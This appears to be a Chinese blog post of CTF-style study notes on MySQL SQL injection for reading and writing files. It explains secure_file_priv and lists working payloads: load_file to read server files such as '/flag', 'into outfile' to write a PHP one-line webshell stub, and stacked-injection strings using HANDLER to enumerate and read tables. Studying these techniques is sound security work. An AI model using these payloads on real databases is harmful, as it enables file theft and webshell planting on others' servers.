[mysql][sql注入]读写文件

secure_file_priv 全局变量

mysql> show variables like "%secure_file%"
    -> ;
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv | NULL  |
+------------------+-------+
1 row in set, 1 warning (0.00 sec)

参数限制 load data ,select … outfile , load_file()传到那个目录

null         不允许导入导出
/tmp/       只能传到该目录下
空           可以任意传

mysql读文件

select load_file('/flag');
select convert(load_file("/flag") using utf8);

mysql写文件

outfile
dumpfile
select 'a\naaa\raaa' into outfile '/tmp/1.txt';
select 'a\naa\raaa' into dumpfile "1.txt"; 
一句话木马
select "<?php phpinfo();?>" into outfile "tmp/1.php";

=========================================

当secure_file_priv 为NULL

使用堆叠注入

条件:如果支持多语句执行的情况
multi_query($sql)
1';use database();show tables;#
1';use database();show columns from 'table1' ;#
1'handler 'table1' open as h1;handler h1 read first#
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值